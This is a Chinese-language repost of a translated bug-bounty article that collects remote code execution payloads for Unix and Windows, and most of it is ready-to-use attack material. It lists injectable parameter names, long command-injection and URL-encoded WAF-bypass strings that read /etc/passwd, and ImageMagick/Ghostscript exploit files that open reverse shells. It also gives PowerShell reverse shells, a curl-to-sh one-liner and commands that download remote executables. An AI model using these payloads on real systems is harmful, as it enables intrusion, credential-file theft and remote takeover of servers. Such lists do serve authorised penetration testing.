干货|漏洞挖掘中RCE漏洞常用的Payload总结
2022-8-12 08:56:13 Author: 哆啦安全(查看原文) 阅读量:13 收藏

关于远程代码执行的常用Payload（Unix 和 Windows）

大家好，我是 Ansar Uddin，我是来自孟加拉国的网络安全研究员。

这是我的第二篇 Bug 赏金文章。

今天的话题都是关于 Rce 的利用。

RCE：远程代码执行 (RCE) 使攻击者能够通过注入攻击执行恶意代码。代码注入攻击不同于命令注入攻击。攻击者的能力取决于服务器端解释器的限制。在某些情况下，攻击者可能能够从代码注入升级为命令注入。远程代码评估可能导致易受攻击的 Web 应用程序和 Web 服务器的全面妥协. 需要注意的是，几乎每种编程语言都有代码评估功能。

如何寻找 RCE：

Top 46 RCE 参数 :

exec={payload}command={payload}execute{payload}ping={payload}include={payload}exclude={payload}jump={payload}code={payload}reg={payload}do={payload}func={payload}arg={payload}option={payload}load={payload}process={payload}step={payload}read={payload}function={payload}req={payload}feature={payload}exe={payload}module={payload}payload={payload}run={payload}print={payload}email={payload}id={payload}username={payload}user={payload}to={payload}from={payload}search={payload}query={payload}q={payload}s={payload}shopId={payload}blogId={payload}phone={payload}mode={payload}next={payload}firstname={payload}lastname={payload}locale={payload}cmd={payload}sys={payload}system={payload}

Payload list:

id,id;id;id;'id'"id"''id''id''''id''&*id*id***id**(id)`id``id`&`id` &;id|;|id||id|id|||id||id|||id;|id;&id&id&&&id&&id&&^id<id\id);id<id;);id;);id|)|id)|id;\id;\id|\id\(id)id /id -id:id.id" id' id| id& id, id; id& id &&& id|| id' `id`" `id`, `id`| `id`& `id`; `id`' `id` #" `id` #, `id` #| `id` #; `id` #;id/n<id\n\nid\nid\na;ida);ida;id;a);id|

转义所有危险字符时的RCE:

%7Cid%7cid;pwd;uname -a%26 id %26%0aid%0a%0a uname -a %0a%27%0Awhoami%0A%27%22%0Awhoami%0A%22%5C%0Awhoami%27%27%0Awhoami%0A%27%27%2A%0Awhoami%0A%2A%0Awhoami%0A%2A%28%0Awhoami%0A%29%60%0Aid%0A%60%3B%0Awhoami%0A%3B%2C%0Awhoami%0A%2C%7C%0Awhoami%7C%0Awhoami%0A%7C%0a whoami %0a%0Acat%20/etc/passwd%7C%7Cid%0A%2C%20id%5Eid%3Cid%5Cid%27%27id%27%27id%27%27%27%27id%27%27%26%2Aid%2Aid%2A%2A%2Aid%2A%2A%28id%29%60id%60%26%60id%60%20%26%29%3Bid%3Cid%3B%29%3Bid%3B%29%3Bid%7C%29%7Cid%29%7Cid%3B%5Cid%3B%5Cid%7C%5Cid%5C%22%20id%27%20id%7C%20id%26%20id%3B%20id<id%0D<id%0A%0Did%0Did%0D%0Aid%0Aid%0A%2Cid%3Bid%3Bid%3B%28id%29id%20%2Fid%20%3Aid%26%26%20id%7C%7C%20id%27id%27%22id%22%60id%60%3Bid%7C%3B%7Cid%7C%7Cid%7C%7C%7Cid%7C%7Cid%7C%7C%7Cid%3B%7Cid%3B%26id%26id%26%26%26id%26%26id%26%26%3Bid%2Fn%3Cid%5Cn%5Cnid%5Cnid%5Cna%3Bida%29%3Bida%3Bid%3Ba%29%3Bid%7C%22%2C%0Asystem%28%27ls%27%29%0A%3B%22%27%0Aid%0A%27%5C%0Awhoami%0A%5C%26%0Awhoami%0A%26%26%20id%20%26%27%20%60id%60%22%20%60id%60%2C%20%60id%60%7C%20%60id%60%26%20%60id%60%3B%20%60id%60%27%20%60id%60%20%23%22%20%60id%60%20%23%2C%20%60id%60%20%23%7C%20%60id%60%20%23%3B%20%60id%60%20%23%3Buname%20-a%3B%26%26dir%26%20uname%20-a%20%26id%7C%7Cwhoami%3Bid%7Cwhoami%3Bid%26%26whoami%3Bid%26whoami%3B127.0.0.1%3Bls127.0.0.1%3Bi%22d%3Bunam%22e%24%7BIFS%7D-a%3Bl%22s%24%7BIFS%7D-la%27i%27d%22i%22d%5Cu%5Cn%5Ca%5Cm%5Ce%20%5C-%5Cacat%24u%20%2Fetc%24u%2Fpasswd%24uw%24%7Bu%7Dh%24%7Bu%7Do%24%7Bu%7Da%24%7Bu%7Dm%24%7Bu%7Dii%24%28u%29di%60u%60d%7Buname%2C-a%7Dcat%24%7BIFS%7D%2Fetc%2Fpasswdcat%24IFS%2Fetc%2Fpasswd%0aid%0a%0Aid%0Aid%0A%0a whoami %0acat%24u%2B%2Fetc%24u%2Fpasswd%24u%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wdc%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswdcat%20%2Fetc%24u%2Fpasswd%28sy.%28st%29.em%29%28whoami%29%3B%3Bcat%2B%2Fetc%2Fpasswd%3Bcat%2B%2Fetc%2Fpasswd%2B%23%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u%3Bcat%2520%2Fetc%2Fpasswd%3Bcat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%3Bcat%24u%20%2Fetc%24u%2Fpasswd%24u%3B%7Bcat%2C%2Fetc%2Fpasswd%7D%3Bcat%3C%2Fetc%2Fpasswd%3Bcat%24IFS%2Fetc%2Fpasswd%3Becho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%3B%2Fusr%2Fbin%2Fid%3B%7Ccat%2520%2Fetc%2Fpasswd%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u%7C%7Bcat%2C%2Fetc%2Fpasswd%7D%7Ccat%3C%2Fetc%2Fpasswd%7Ccat%24IFS%2Fetc%2Fpasswd%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%7C%2Fusr%2Fbin%2Fid%7C%7C%7Ccat%2520%2Fetc%2Fpasswd%7C%7Ccat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%7C%7Ccat%24u%20%2Fetc%24u%2Fpasswd%24u%7C%7C%7Bcat%2C%2Fetc%2Fpasswd%7D%7C%7Ccat%3C%2Fetc%2Fpasswd%7C%7Ccat%24IFS%2Fetc%2Fpasswd%7C%7Cecho%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%7C%7C%2Fusr%2Fbin%2Fid%7C%7C%26%26cat%2520%2Fetc%2Fpasswd%26%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%26%26cat%24u%20%2Fetc%24u%2Fpasswd%24u%26%26%7Bcat%2C%2Fetc%2Fpasswd%7D%26%26cat%3C%2Fetc%2Fpasswd%26%26cat%24IFS%2Fetc%2Fpasswd%26%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%26%26%2Fusr%2Fbin%2Fid%26%26%26cat%2520%2Fetc%2Fpasswd%26cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%26cat%24u%20%2Fetc%24u%2Fpasswd%24u%26%7Bcat%2C%2Fetc%2Fpasswd%7D%26cat%3C%2Fetc%2Fpasswd%26cat%24IFS%2Fetc%2Fpasswd%26echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%26%2Fusr%2Fbin%2Fid%26%60cat%2520%2Fetc%2Fpasswd%60%60cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%60%60cat%24u%20%2Fetc%24u%2Fpasswd%24u%60%60%7Bcat%2C%2Fetc%2Fpasswd%7D%60%60cat%3C%2Fetc%2Fpasswd%60%60cat%24IFS%2Fetc%2Fpasswd%60%60echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%60%60%2Fusr%2Fbin%2Fid%60%24%28cat%2520%2Fetc%2Fpasswd%29%24%28cat%20%2Fe%24%7Bhahaha%7Dtc%2F%24%7Bheywaf%7Dpas%24%7Bcatchthis%7Dswd%29%24%28cat%24u%20%2Fetc%24u%2Fpasswd%24u%29%24%28%7Bcat%2C%2Fetc%2Fpasswd%7D%29%24%28cat%3C%2Fetc%2Fpasswd%29%24%28cat%24IFS%2Fetc%2Fpasswd%29%24%28echo%24%7BIFS%7D%22RCE%22%24%7BIFS%7D%26%26cat%24%7BIFS%7D%2Fetc%2Fpasswd%29%24%28%2Fusr%2Fbin%2Fid%29cat%20%2Fetc%24u%2Fpasswd%28sy.%28st%29.em%29%28whoami%29%3B%3Bcat%2B%2Fetc%2Fpasswd%3Bcat%2B%2Fetc%2Fpasswd%2B%23%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u%253B%2524%257B%2540print%2528md5%2528%2522whoami0%2522%2529%2529%257D%253B%24%7B%40system%28%22id%22%29%7D%7Cuname%20-a%2B%7C%7Ca%2B%23%27%2B%7Cls%2B-la%7Ca%2B%23%7C%22%2B%7Cls%2B-la%7C%7Ca%2B%23%22%2Csystem%28%27ls%27%29%3B%22%24%7B%40phpinfo%28%29%7D%3Bphpinfo%28%29%3B%3Bphpinfo%3Bsystem%28%27cat%2520%2Fetc%2Fpasswd%27%29%3Bsystem%28%27id%27%29%24%28id%29%3B%24%7B%40print%28md5%28whoami%29%29%7D%3B%24%7B%40print%28md5%28%22whoami%22%29%29%7D%24%3Bid%24%28%60cat%20%2Fetc%2Fpasswd%60%29%7B%7B%20get_user_file%28%22%2Fetc%2Fpasswd%22%29%20%7D%7D%3C%21--%23exec%20cmd%3D%22id%3B--%3Esystem%28%27cat%20%2Fetc%2Fpasswd%27%29%3B%3C%3Fphp%20system%28%22cat%20%2Fetc%2Fpasswd%22%29%3B%3F%3Ephp%20-r%20%27var_dump%28exec%28%22id%22%29%29%3B%27%26lt%3B%21--%23exec%2520cmd%3D%26quot%3Bid%3B--%26gt%3Bcat%24u%2B%2Fetc%24u%2Fpasswd%24u%2Fbin%24u%2Fbash%24u%20%3Cip%3E%20%3Cport%3E%22%3Bcat%2B%2Fetc%2Fpasswd%2B%23%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%24u%3B%2B%24u%2Bcat%2B%2Fetc%24u%2Fpasswd%2B%5C%23%2F%3F%3F%3F%2F%3F%3Ft%2B%2F%3F%3F%3F%2F%3F%3Fss%3F%3F%2F%3Fin%2Fcat%2B%2Fet%3F%2Fpassw%3F%3B%2Bcat%2B%2Fe%27tc%2Fpass%27wdc%5C%5Ca%5C%5Ct%2B%2Fet%5C%5Cc%2Fpas%5C%5Cswd
RCE 过滤 and WAF Bypass:
'whoami'"whoami"`whoami`;whoami;,whoami,|whoami|whoami|\whoami''whoami''*whoami*whoami*(whoami)\whoami\&whoami&",system('ls');"|uname -a+||a+#'+|ls+-la|a+#|"+|ls+-la||a+#  Rce waf bypass",system('ls');" double quote Rce filter bypass${@system("id")} eval code bypass${@phpinfo()};phpinfo();;phpinfo;system('cat%20/etc/passwd');system('id')$(id);${@print(md5(whoami))};${@print(md5("whoami"))}$;id$(`cat /etc/passwd`){{ get_user_file("/etc/passwd") }}<!--#exec cmd="id;-->system('cat /etc/passwd');<?php system("cat /etc/passwd");?>php -r 'var_dump(exec("id"));'&lt;!--#exec%20cmd=&quot;id;--&gt;/bin$u/bash$u <ip> <port>cat$u+/etc$u/passwd$u";cat+/etc/passwd+#;+$u+cat+/etc$u/passwd$u;+$u+cat+/etc$u/passwd+\#/???/??t+/???/??ss??/?in/cat+/et?/passw?;+cat+/e'tc/pass'wdc\\a\\t+/et\\c/pas\\swdcat /etc$u/passwd(sy.(st).em)(whoami);;cat+/etc/passwd;cat+/etc/passwd+#;cat$u+/etc$u/passwd$u;cat%20/etc/passwd;cat /e${hahaha}tc/${heywaf}pas${catchthis}swd;cat$u /etc$u/passwd$u;{cat,/etc/passwd};cat</etc/passwd;cat$IFS/etc/passwd;echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd;/usr/bin/id;|cat%20/etc/passwd|cat /e${hahaha}tc/${heywaf}pas${catchthis}swd|cat$u /etc$u/passwd$u|{cat,/etc/passwd}|cat</etc/passwd|cat$IFS/etc/passwd|echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd|/usr/bin/id|||cat%20/etc/passwd||cat /e${hahaha}tc/${heywaf}pas${catchthis}swd||cat$u /etc$u/passwd$u||{cat,/etc/passwd}||cat</etc/passwd||cat$IFS/etc/passwd||echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd||/usr/bin/id||&&cat%20/etc/passwd&&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd&&cat$u /etc$u/passwd$u&&{cat,/etc/passwd}&&cat</etc/passwd&&cat$IFS/etc/passwd&&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd&&/usr/bin/id&&&cat%20/etc/passwd&cat /e${hahaha}tc/${heywaf}pas${catchthis}swd&cat$u /etc$u/passwd$u&{cat,/etc/passwd}&cat</etc/passwd&cat$IFS/etc/passwd&echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd&/usr/bin/id&`cat%20/etc/passwd``cat /e${hahaha}tc/${heywaf}pas${catchthis}swd``cat$u /etc$u/passwd$u``{cat,/etc/passwd}``cat</etc/passwd``cat$IFS/etc/passwd``echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd``/usr/bin/id`$(cat%20/etc/passwd)$(cat /e${hahaha}tc/${heywaf}pas${catchthis}swd)$(cat$u /etc$u/passwd$u)$({cat,/etc/passwd})$(cat</etc/passwd)$(cat$IFS/etc/passwd)$(echo${IFS}"RCE"${IFS}&&cat${IFS}/etc/passwd)$(/usr/bin/id)id||whoami;id|whoami;id&&whoami;id&whoami;127.0.0.1;ls127.0.0.1;i"d;unam"e${IFS}-a;l"s${IFS}-la'i'd"i"d\u\n\a\m\e \-\acat$u /etc$u/passwd$uw${u}h${u}o${u}a${u}m${u}ii$(u)di`u`d{uname,-a}cat${IFS}/etc/passwdcat$IFS/etc/passwd
例子：
'i'd
"i"d
\u\n\a\m\e \-\a
w${u}h${u}o${u}a${u}m${u}i
IFS=];b=cat]/etc/passwd;$bIFS=,;`cat<<<cat,/etc/passwd`uname${IFS}-acat ${HOME:0:1}etc${HOME:0:1}passwdcat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwdcat$IFS$9${PWD%%[a-z]*}e*c${PWD%%[a-z]*}p?ss??cat${IFS}${PATH%%u*}etc${PATH%%u*}passwd${PATH##*s????}${PATH%%u*}c??${IFS}${PATH%%u*}e??${PATH%%u*}??ss??${PATH##*s????}${PATH%%u*}ca${u}t${IFS}${PATH%%u*}et${u}c${PATH%%u*}pas${u}swd${PATH##*s????}${PATH%%u*}bas${u}h${IFS}${PHP_CFLAGS%%f*}c${IFS}l${u}s${PATH:0:1}bi?${PATH:0:1}ca?${IFS}${PATH:0:1}et?${PATH:0:1}??sswdtail${IFS}${APACHE_CONFDIR%${APACHE_CONFDIR#?}}et?${APACHE_CONFDIR%${APACHE_CONFDIR#?}}pas?wdc${a}at${IFS}${APACHE_CONFDIR%apache2}pas${s}swdca${jjj}t${IFS}${APACHE_RUN_DIR%???????????????}et${jjj}c${APACHE_RUN_DIR%???????????????}pas${jjj}swdc${u}at${IFS}${PHP_INI_DIR%%u*p}e${u}tc${PHP_INI_DIR%%u*p}p${u}asswdcat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`cat `xxd -r -p <<< 2f6574632f706173737764`cat `xxd -r -ps <(echo 2f6574632f706173737764)`1;uname${IFS}-a1;uname${IFS}-a;#1;uname${IFS}-a;#${IFS}'1;uname${IFS}-a;#${IFS}';/*$(id)`id`/*$(id)`id``*/-id-'/*$(id)`id` #*/-id||'"||id||"/*`*//*$(id)`id``*/id'/*$(id)`id` #*/id||'"||id||"/*`*/
IFS=,;`cat<<<cat,/etc/passwd`
/*$(id)`id`
/*$(id)`id``*/id’/*$(id)`id` #*/id||’”||id||”/*`*/
反弹shell :
nc -l 1337curl https://reverse-shell.sh/yourip:1337 | shReverse Shell Generator:https://www.revshells.com

实战案例

我在一家Top级的公司找到了一个案例:
我检查了include=参数. 它容易受到 rce 的影响
'whoami && id && uname -a && cat /etc/passwd'
但是有一个 waf 阻止了我的请求
我用了下面这个payload进行绕过：
'whoami && id && uname -a && cat /etc/passwd'
我将payload转换为 url 编码再进行发包：

最终使用的绕过waf的payload如下:
%27%0a%77%68%6f%61%6d%69%20%26%26%20%69%64%20%26%26%20%75%6e%61%6d%65%20%2d%61%20%26%26%20%63%61%74%20%2f%65%74%63%2f%70%61%73%73%77%64%0a%27
成功Rce!
Imagemagick rce:
nc -l -p 1337
另存为 test.gif 或 test.jpg
1.push graphic-contextviewbox 0 0 640 480fill 'url(https://127.0.0.0/oops.jpg?`echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwL3lvdXJpcC95b3VycG9ydCAwPiYx | base64 -d | bash`"||id " )'pop graphic-context2.push graphic-contextencoding "UTF-8"viewbox 0 0 1 1affine 1 0 0 1 0 0push graphic-contextimage Over 0,0 1,1 '|/bin/sh -i > /dev/tcp/yourip/yourport 0<&1 2>&1'pop graphic-contextpop graphic-context3.%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%ncat yourip yourport -e /bin/sh) currentdevice putdeviceprops4.%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops
保存poc.xml:
<?xml version="1.0" standalone="no"?><!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN""http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"><svg width="640px" height="480px" version="1.1"xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"><image xlink:href="https://example.com/image.jpg&quot;|/bin/nc.traditional yourip yourport -e /bin/bash&quot;"x="0" y="0" height="640px" width="480px"/></svg>
nc -nvlp 1337
保存 test.gif or test.jpg
1.%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops2.%!PS0 1 300367 {} for{save restore} stopped {} if(%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') (w) file3.%!PSuserdict /setpagedevice undefsavelegal{ null restore } stopped { pop } if{ legal } stopped { pop } ifrestoremark /OutputFile (%pipe%bash -c 'bash -i >& /dev/tcp/yourip/yourport 0>&1') currentdevice putdeviceprops4.%!PSuserdict /setpagedevice undeflegal{ null restore } stopped { pop } iflegalmark /OutputFile (%pipe%curl http://inputburpcollaborator) currentdevice putdeviceprops
保存 poc.pdf
%!PScurrentdevice null true mark /OutputICCProfile (%pipe%curl http://inputburpcollaborator).putdeviceparamsquit
下面这个github项目最适合在上传功能上查找 Rce 错误
https://github.com/modzero/mod0BurpUploadScanner.git
该工具允许您生成payload，而无需执行查找小工具和组合它们的繁琐步骤。它可以看作是frohoff 的 ysoserial的等价物，但对于 PHP。目前，该工具支持的小工具链包括：CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii 和 ZendFramework
这个最适合查找 rce漏洞（框架/库）：
https://github.com/ambionics/phpggc
Payload list:
".system('dir')."' dir' || dir' & dir' && dir'; dir" dir" || dir" | dir" & dir" && dir"; dirdir$(`dir`)&&dir| dir C:\; dir C:\& dir C:\&& dir C:\dir C:\| dir; dir& dir&& dir| ipconfig /all; ipconfig /all& ipconfig /all&& ipconfig /allipconfig /all|| phpinfo()| phpinfo() {${phpinfo()}};phpinfo();phpinfo();//';phpinfo();//{${phpinfo()}}& phpinfo()&& phpinfo()phpinfo()phpinfo();
转义所有危险字符时的RCE payload:
%27%20dir%27%20%7C%7C%20dir%27%20%26%20dir%27%20%26%26%20dir%27%3B%20dir%22%20dir%22%20%7C%7C%20dir%22%20%7C%20dir%22%20%26%20dir%22%20%26%26%20dir%22%3B%20dir%22.system%28%27dir%27%29.%22%24%28%60dir%60%29%26%26dir%7C%20dir%20C%3A%5C%3B%20dir%20C%3A%5C%26%20dir%20C%3A%5C%26%26%20dir%20C%3A%5Cdir%20C%3A%5C%7C%20dir%3B%20dir%26%20dir%26%26%20dir+dir+c:\+|+|+dir+c:\+|+|+dir+c:%2f+|dir+c:\||+dir|c:\+|+Dir+c:\+|+Dir+c:%255c+|+Dir+c:%2f$+|+Dir+c:\$+|+Dir+c:%255c$+|+Dir+c:%2f%26%26+|+dir c:\%0a+dir+c:\%26%26+|+dir c:%2f$%26%26dir+c:%2f%0a+dir+c:%2f%0a+dir+c:%255c$%26%26dir c:\%26%26+|+dir c:%255c$%26%26dir+c:%255c%20{${phpinfo()}}
反弹shell:
nc -nvlp 443
powershell -c "$client = New-Object System.Net.Sockets.TCPClient('your ip',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i =$stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"orpowershell -NoP -NonI -W Hidden -Exec Bypass "& {$ps=$false;$hostip='your ip';$port=443;$client = New-Object System.Net.Sockets.TCPClient($hostip,$port);$stream = $client.GetStream();[byte[]]$bytes = 0..50000|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$cmd=(get-childitem Env:ComSpec).value;$inArray=$data.split();$item=$inArray[0];if(($item -eq '$ps') -and ($ps -eq $false)){$ps=$true}if($item -like '?:'){$item='d:'}$myArray[email protected]('cd','exit','d:','pwd','ls','ps','rm','cp','mv','cat');$do=$false;foreach ($i in $myArray){if($item -eq $i){$do=$true}}if($do -or $ps){$sendback=( iex $data 2>&1 |Out-String)}else{$data2='/c '+$data;$sendback = ( &$cmd $data2 2>&1 | Out-String)};if($ps){$prompt='PS ' + (pwd).Path}else{$prompt=(pwd).Path}$sendback2 = $data + $sendback + $prompt + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()}"
反弹shell生成器：
https://www.revshells.com
文件下载:
powershell -c "(new-object System.Net.WebClient).DownloadFile('https://eternallybored.org/misc/wget/1.21.1/64/wget.exe','C:\Users\admin\Desktop\wget.exe')"powershell iwr -uri http://10.10.16.97:8000/chisel.exe -outfile ch.exe # also works in PS ConstrainLanguageMode
Rce（Unix 和 windows）的最佳 burpsuite 扩展:
https://github.com/ewilded/shelling
最佳的命令注入利用工具:
https://github.com/commixproject/commix
Happy Hacking!
由HACK学习翻译编辑整理，如需转载请注明来源HACK学习文章来源:https://ansar0047.medium.com/remote-code-execution-unix-and-windows-4ed3367158b3
注：如有侵权请联系删除
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                        文章来源: http://mp.weixin.qq.com/s?__biz=Mzg2NzUzNzk1Mw==&mid=2247493644&idx=2&sn=7bb10165964e40e81cbb9f4364a7caf5&chksm=ceb8ad42f9cf2454128e3750cd435a0a87cda232ea0dc84eae7be883a193343a2f1e17b0006d#rd
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